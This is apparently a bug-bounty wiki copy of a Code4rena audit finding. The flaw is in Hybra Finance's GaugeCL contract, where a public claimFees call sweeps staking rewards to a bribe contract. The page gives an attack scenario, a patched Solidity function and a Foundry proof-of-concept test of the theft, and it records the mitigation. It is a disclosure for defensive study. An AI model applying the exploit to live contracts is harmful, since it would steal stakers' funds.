Skip to content
Business logic Audit finding Intermediate

ClaimFees steals staking rewards

The _claimFees function transfers the gauge's entire balance of token0 and token1 to the internal bribe contract, rather than only the fees collected from the pool. If the reward token is the same as a pool token, anyone can call claimFees to sweep staking rewards intended for stakers.

0xSeer Follow with EtherEngineer, hecker_trieu_tien and 6 others

Originally disclosed on Code4rena

Submitted by 0xSeer, also found by EtherEngineer, hecker_trieu_tien, ibrahimatix0x01, maze, piki, saraswati, Xander, and zcai

CLGauge/GaugeCL.sol #L304-L335

Description

The _claimFees function is designed to collect accrued trading fees from the underlying concentrated liquidity pool and transfer them to a designated internal_bribe contract. The function determines the amount of fees to transfer by checking the gauge’s entire token balance for token0 and token1 after calling clPool.collectFees().

The critical vulnerability lies in this assumption. The contract has another mechanism to receive tokens: the notifyRewardAmount function, which is called by the DISTRIBUTION contract to fund the gauge with rewardToken for stakers.

If the rewardToken is the same as either token0 or token1 of the pool (a common scenario in DeFi, e.g., rewarding a WETH/USDC pool with WETH), the claimFees function will incorrectly identify the staking rewards as trading fees. Because claimFees is a public function with no access control, anyone can call it right after rewards are deposited, causing all reward funds to be swept to the internal_bribe contract.

Impact

This vulnerability leads to a direct loss of funds for users who have staked their NFTs in the gauge. All rewardTokens intended for stakers during an epoch can be permanently redirected and stolen from them. This breaks the core incentive mechanism of the gauge.

Furthermore, the gauge’s internal accounting for rewards (rewardRate, _periodFinish) becomes completely desynchronized from its actual token balance. This can lead to a secondary Denial-of-Service (DoS) condition, as future calls to notifyRewardAmount may fail on the require(rewardRate <= contractBalance / epochTimeRemaining, ...) check, preventing the gauge from being funded for subsequent epochs.

Attack Scenario

  1. A gauge is set up for a WETH/USDC pool, with WETH as the rewardToken.
  2. The DISTRIBUTION contract calls notifyRewardAmount, transferring 10 WETH to the gauge as staking rewards for the upcoming week.
  3. An attacker immediately calls the public claimFees() function.
  4. The function calls clPool.collectFees(), which might transfer a small amount of WETH fees (e.g., 0.1 WETH) to the gauge.
  5. The function then reads the gauge’s total WETH balance, which is now 10.1 WETH (10 WETH from rewards + 0.1 WETH from fees).
  6. It proceeds to transfer the entire 10.1 WETH to the internal_bribe contract.
  7. The 10 WETH in rewards are now lost to the stakers. The gauge has no funds to pay out the promised rewards.

Recommendation

The _claimFees function must be modified to only transfer the fees that are explicitly collected by the clPool.collectFees() call, rather than sweeping the contract’s entire balance. This can be achieved by measuring the contract’s balance of token0 and token1 immediately before and after the collectFees() call and only transferring the difference.

function _claimFees() internal returns (uint256 claimed0, uint256 claimed1) {
    if (!isForPair) {
        return (0, 0);
    }

    address _token0 = clPool.token0();
    address _token1 = clPool.token1();

    uint256 balance0Before = IERC20(_token0).balanceOf(address(this));
    uint256 balance1Before = IERC20(_token1).balanceOf(address(this));

    clPool.collectFees();

    uint256 balance0After = IERC20(_token0).balanceOf(address(this));
    uint256 balance1After = IERC20(_token1).balanceOf(address(this));

    claimed0 = balance0After - balance0Before;
    claimed1 = balance1After - balance1Before;

    if (claimed0 > 0) {
        IERC20(_token0).safeApprove(internal_bribe, 0);
        IERC20(_token0).safeApprove(internal_bribe, claimed0);
        IBribe(internal_bribe).notifyRewardAmount(_token0, claimed0);
    }
    if (claimed1 > 0) {
        IERC20(_token1).safeApprove(internal_bribe, 0);
        IERC20(_token1).safeApprove(internal_bribe, claimed1);
        IBribe(internal_bribe).notifyRewardAmount(_token1, claimed1);
    }

    if (claimed0 > 0 || claimed1 > 0) {
        emit ClaimFees(msg.sender, claimed0, claimed1);
    }
}

Additionally, consider adding access control to the claimFees function (e.g., onlyOwner or a dedicated keeper role) to prevent potential griefing attacks and ensure it is called under intended conditions.

Proof of concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";

import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import {GaugeCL} from "../contracts/CLGauge/GaugeCL.sol";
import {ICLPool} from "../contracts/CLGauge/interface/ICLPool.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title C4PoC_Findings
 * @notice Proof of Concept test for finding #3.
 * @dev All available variables from C4PoCTestbed are available here.
 */
contract C4PoC_Findings is C4PoCTestbed {
    function setUp() public override {
        super.setUp();
        // The BribeFactoryV3 is deployed but not initialized in the testbed.
        // We must initialize it here to set the owner, allowing createBribe to be called.
        bribeFactoryV3.initialize(address(voter), address(gaugeManager), address(permissionsRegistry), address(tokenHandler));
    }

    /*//////////////////////////////////////////////////////////////
                           FINDING: ClaimFees Steals Staking Rewards
    //////////////////////////////////////////////////////////////*/

    function test_PoC_Finding3_ClaimFeesStealsStakingRewards() public {
        // 1. SETUP: Create actors, tokens, and contracts.
        address attacker = makeAddr("attacker");
        address clPoolAddress = makeAddr("clPoolMock");

        // Use the testbed's `hybr` as token0/rewardToken and `rewardHybr` as token1.
        // This avoids deploying a new MockERC20.
        address token1 = address(rewardHybr);

        // Create a real bribe contract using the factory from the testbed.
        address internalBribe = bribeFactoryV3.createBribe(address(this), address(hybr), token1, "cl");

        // Deploy the vulnerable GaugeCL contract.
        GaugeCL gauge = new GaugeCL(
            address(hybr),    // _rewardToken (same as token0)
            address(rewardHybr),
            address(votingEscrow),
            clPoolAddress,
            address(rewardsDistributor),
            internalBribe,
            address(0),       // _external_bribe
            true,             // _isForPair = true is required for _claimFees to execute
            address(clNonfungiblePositionManager),
            address(0)        // _factory
        );

        // Define reward and fee amounts.
        uint256 rewardsAmount = 10 ether;
        uint256 feesAmount = 0.1 ether;

        // 2. MOCKING: Set up behavior for the mock Concentrated Liquidity Pool.
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("token0()"))), abi.encode(address(hybr)));
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("token1()"))), abi.encode(token1));
        // Mock collectFees to do nothing, as we will manually transfer fees to simulate the state.
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("collectFees()"))), abi.encode(uint128(0), uint128(0)));

        // Mock other functions that might be called by notifyRewardAmount
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("updateRewardsGrowthGlobal()"))), abi.encode());
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("rollover()"))), abi.encode(uint256(0)));
        vm.mockCall(clPoolAddress, abi.encodeWithSelector(bytes4(keccak256("syncReward(uint256,uint256,uint256)"))), abi.encode());

        // 3. SCENARIO: The DISTRIBUTION contract deposits staking rewards into the gauge.
        hybr.transfer(address(rewardsDistributor), rewardsAmount);

        vm.startPrank(address(rewardsDistributor));
        hybr.approve(address(gauge), rewardsAmount);
        gauge.notifyRewardAmount(address(hybr), rewardsAmount);
        vm.stopPrank();

        // Pre-exploit verification: Gauge should hold only the rewards at this point.
        assertEq(hybr.balanceOf(address(gauge)), rewardsAmount, "Pre-exploit setup failed: Gauge should hold the staking rewards");
        assertEq(hybr.balanceOf(internalBribe), 0, "Pre-exploit setup failed: Bribe contract should be empty");

        // Manually transfer fees to the gauge to simulate a state where fees have been collected
        // but not yet claimed. This puts the contract in the vulnerable state.
        hybr.transfer(address(gauge), feesAmount);
        assertEq(hybr.balanceOf(address(gauge)), rewardsAmount + feesAmount, "Vulnerable state setup failed: Gauge should hold rewards + fees");

        // 4. EXPLOIT: Attacker calls the public, permissionless claimFees() function.
        vm.prank(attacker);
        gauge.claimFees();

        // 5. ASSERTION: Verify the exploit's success.
        uint256 finalBribeBalance = hybr.balanceOf(internalBribe);
        uint256 totalStolenAmount = rewardsAmount + feesAmount;

        // The gauge is now empty, as all its token0 balance (rewards + newly collected fees) was swept.
        assertEq(hybr.balanceOf(address(gauge)), 0, "Exploit check failed: Gauge was not drained of all token0");

        // The internalBribe contract received ALL funds: both rewards and fees.
        string memory successMessage = "EXPLOIT SUCCESSFUL: Rewards intended for stakers were stolen by claimFees() and sent to the bribe contract.";
        assertEq(finalBribeBalance, totalStolenAmount, successMessage);
    }
}

Hybra Finance mitigated:

fix - S-36 ClaimFees Steals Staking Rewards fix - S-841 rollover rewardRate calcuate fix - S-645 Missing unchecked block in Gauge Dependent Library Will Cause Freezing of Reward Calculations

Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.


The original report as published on Code4rena, by 0xSeer. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the _claimFees function reads the gauge's total token balance after calling collectFees, instead of measuring only the fees received from that call.

Impact

All rewardTokens intended for stakers during an epoch can be permanently redirected and stolen, and the gauge's reward accounting becomes desynchronised, potentially causing a denial of service for future reward notifications.

What the attacker needed

RewardToken equals token0 or token1; gauge is funded with rewards; attacker can call claimFees

The fix

The _claimFees function should measure the contract's balance before and after collectFees and only transfer the difference, and access control should be added to claimFees.

How it was found

  1. A gauge is set up for a WETH/USDC pool, with WETH as the rewardToken.
  2. The DISTRIBUTION contract calls notifyRewardAmount, transferring 10 WETH to the gauge as staking rewards.
  3. An attacker immediately calls the public claimFees() function.
  4. The function calls clPool.collectFees(), which might transfer a small amount of WETH fees to the gauge.
  5. The function reads the gauge’s total WETH balance, now 10.1 WETH.
  6. It transfers the entire 10.1 WETH to the internal_bribe contract.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A staking gauge holds rewards for people who lock their tokens. The function that collects trading fees mistakenly sends the whole token balance to a bribe contract, including the staking rewards. Because anyone can call it, an attacker can trigger this and steal the rewards.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xSeer

View all

1 more disclosed report, best first.

More from Hybra Finance

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.